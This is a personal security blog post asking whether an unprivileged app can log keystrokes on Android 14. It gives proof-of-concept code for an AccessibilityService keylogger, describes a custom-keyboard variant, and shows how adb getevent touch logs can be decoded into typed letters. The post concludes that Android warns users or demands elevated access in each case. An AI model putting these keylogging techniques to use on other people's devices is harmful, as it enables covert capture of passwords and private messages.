I was quite surprised when i learned several years ago that both on Linux and Windows operating systems, a not-so privileged user (that is to say a non-root user on Linux and a non-Admin user on Windows) can use a keylogger by setting hooks.
Several techniques exist to do so (on Windows, function SetWindowsHookEx
can be used to define a hook and intercept events incoming from keyboard ; on a Linux with X11 server, XNextEvent
function can be used to get the keyborard events), and i wondered if such a thing was possible on an Android device: Can an unprivilegied application intercept keystrokes ?
Android is quite different from a « normal » PC with Linux or Windows and is a much more compartmentalized environment, were an unprivileged application (without any android permission) cannot do a lot of damage, so the question is maybe not really relevant.
On a PC, the typical malware/spyware installation scenarios are:
- scenario where someone triggers you into executing code on your device,
- scenario where someone with temporary access to your device abuses your trust and install something.
On a PC, such an attacker can do without being spotted (for instance on Linux you can modify .bashrc
file to gain persistency. Unless you edit this file, this modification can pass under the radar).
The real question is therefore: Can someone with a temporary access to my phone install a keylogger without me noticing ?
AccessibilityService
As described on https://developer.android.com, the purpose of an accessibility service is to allow peoples with temporary or permanent disabilities to interact with their phone.
Such a service extends the AccessibilityService
class. It receives some AccessibilityEvent and handle them with its onAccessibilityEvent
method.
This service has a specific intent filter (whose action is android.accessibilityservice.AccessibilityService
) declared in the app manifest.
Sending such intents requires the BIND_ACCESSIBILITY_SERVICE
permission, which is reserved to system to ensure only system can bind to it:
<service
android:name=".KeyloggingService"
android:exported="true"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
A malware can use those functionalities to intercept the user activity and exfiltrate it.
This PoC only writes the keystrokes into logcat:
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
Log.d("AccessibilityKeylogger", "onAccessibilityEvent() function");
switch (event.getEventType())
{
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
String c = event.getText().toString();
Log.d("AccessibilityKeylogger", " keystroke: " + c);
break;
default:
break;
}
}
As shown is this screenshot, this keylogger works fine:

However, the system – at least on Android 14 (i haven’t test on previous Android versions) – the user is clearly asked whether he/she wants to use the app as an accessibility service, and is explicitely warned of the possible risks and consequences:

BIND_INPUT_METHOD
Another technique that allows to build a keylogger is based on InputMethodService
and KeyboardView
classes (this last class is deprecated, but it’s still possible to develop an application who uses it), which can be used to provide customized keyboards.
This app, an adapted version from
https://github.com/AbhishekNuevo/AndroidKeylogger, just dumps the keystrokes into logcat:
Here, again (at least on Android 14), the user is clearly warned about the possibles risks and consequences:

getevent and /dev/input/*
As described in https://docs.kernel.org/input/input.html, hardware provides events to device drivers.
Those events are forwarded to input subsystem who in its turn forwards them to event handlers.
It is possible to get such events from an adb shell using the getevent tool. This tool can provide information about the /dev/input/ devices:

More interesting, it allows to observe those events:

Each event has a timestamp, a type, a code and a value
Event types are described on common/include/uapi/linux/input-event-codes.h, and event code are described on common/include/uapi/linux/input-event-codes.h:
EV_ABS
: This events represents a change on the area of the screen touched by the user.ABS_MT_TRACKING_ID
: Unique ID of the initiated contactABS_MT_POSITION_X
: X coordinate of the pressed screen areaABS_MT_POSITION_Y
: Y coordinate of the pressed screen areaABS_MT_PRESSURE
: Pressure on contact area
EV_SYN
is a special event type dedicated to separate input packets into. The only observed associated event code isSYN_REPORT
.
We clearly see a pattern when a touch from the keyboard is pressed:
[ 91540.241492] EV_ABS ABS_MT_POSITION_X 00001425
[ 91540.241492] EV_ABS ABS_MT_POSITION_Y 00005bad
[ 91540.241492] EV_ABS ABS_MT_PRESSURE 00000400
[ 91540.241492] EV_SYN SYN_REPORT 00000000
[ 91540.385397] EV_ABS ABS_MT_PRESSURE 00000000
[ 91540.385397] EV_ABS ABS_MT_TRACKING_ID ffffffff
[ 91540.385397] EV_SYN SYN_REPORT 00000000
[ 91541.717198] EV_ABS ABS_MT_TRACKING_ID 00000000
[ 91541.717198] EV_ABS ABS_MT_POSITION_X 00001f68
[ 91541.717198] EV_ABS ABS_MT_PRESSURE 00000400
[ 91541.717198] EV_SYN SYN_REPORT 00000000
[ 91541.897316] EV_ABS ABS_MT_PRESSURE 00000000
[ 91541.897316] EV_ABS ABS_MT_TRACKING_ID ffffffff
[ 91541.897316] EV_SYN SYN_REPORT 00000000
[ 91542.944620] EV_ABS ABS_MT_TRACKING_ID 00000000
We can therefore parse the input events to recover which letter was typed using the coordinates of the event, using a small python script (https://github.com/T0lva/android_getevent/blob/master/interpret_event.py):
thomas@ankou:~/articles$ cat event.log
[ 468.504723] EV_ABS ABS_MT_TRACKING_ID 00000000
[ 468.504723] EV_ABS ABS_MT_POSITION_X 00003999
[ 468.504723] EV_ABS ABS_MT_POSITION_Y 00005b4d
[ 468.504723] EV_ABS ABS_MT_PRESSURE 00000400
[ 468.504723] EV_SYN SYN_REPORT 00000000
[ 468.682600] EV_ABS ABS_MT_PRESSURE 00000000
[ 468.682600] EV_ABS ABS_MT_TRACKING_ID ffffffff
[ 468.682600] EV_SYN SYN_REPORT 00000000
[ 470.997704] EV_ABS ABS_MT_TRACKING_ID 00000000
[ 470.997704] EV_ABS ABS_MT_POSITION_X 00006bba
[ 470.997704] EV_ABS ABS_MT_POSITION_Y 00005b17
[ 470.997704] EV_ABS ABS_MT_PRESSURE 00000400
[ 470.997704] EV_SYN SYN_REPORT 00000000
[ 471.140407] EV_ABS ABS_MT_PRESSURE 00000000
[ 471.140407] EV_ABS ABS_MT_TRACKING_ID ffffffff
[ 471.140407] EV_SYN SYN_REPORT 00000000
[ 471.824975] EV_ABS ABS_MT_TRACKING_ID 00000000
[ 471.824975] EV_ABS ABS_MT_POSITION_X 00007313
[ 471.824975] EV_ABS ABS_MT_POSITION_Y 000062ee
[ 471.824975] EV_ABS ABS_MT_PRESSURE 00000400
[ 471.824975] EV_SYN SYN_REPORT 00000000
[ 471.967737] EV_ABS ABS_MT_PRESSURE 00000000
[ 471.967737] EV_ABS ABS_MT_TRACKING_ID ffffffff
[ 471.967737] EV_SYN SYN_REPORT 00000000
[ 475.456775] EV_ABS ABS_MT_TRACKING_ID 00000000
[ 475.456775] EV_ABS ABS_MT_POSITION_X 00003fc2
[ 475.456775] EV_ABS ABS_MT_POSITION_Y 00006ca2
[ 475.456775] EV_ABS ABS_MT_PRESSURE 00000400
[ 475.456775] EV_SYN SYN_REPORT 00000000
[ 475.456925] EV_ABS ABS_MT_PRESSURE 00000000
[ 475.456925] EV_ABS ABS_MT_TRACKING_ID ffffffff
[ 475.456925] EV_SYN SYN_REPORT 00000000
[ 475.460034] EV_ABS ABS_MT_TRACKING_ID 00000000
[ 475.460034] EV_ABS ABS_MT_POSITION_X 00000ed0
[ 475.460034] EV_ABS ABS_MT_POSITION_Y 0000628e
[ 475.460034] EV_ABS ABS_MT_PRESSURE 00000400
[ 475.460034] EV_SYN SYN_REPORT 00000000
[ 476.477166] EV_ABS ABS_MT_PRESSURE 00000000
[ 476.477166] EV_ABS ABS_MT_TRACKING_ID ffffffff
[ 476.477166] EV_SYN SYN_REPORT 00000000
[ 529.386561] EV_ABS ABS_MT_TRACKING_ID 00000000
thomas@ankou:~/articles$ ./interpret_event.py ./event.log
./interpret_event.py
t
o
l
v
a
This therefore definitely allows to build a keylogger whose existence is not explicitly reported to the user with an warning message similar to those we’ve seen above.
However, this keylogger needs to be in the input group (gid = 1004), which is not the case of a normal application, which will have an uid greater than 10000.
getevent therefore doesn’t allow to build a keylogger without using the adb debug bridge, and that is probably for the best !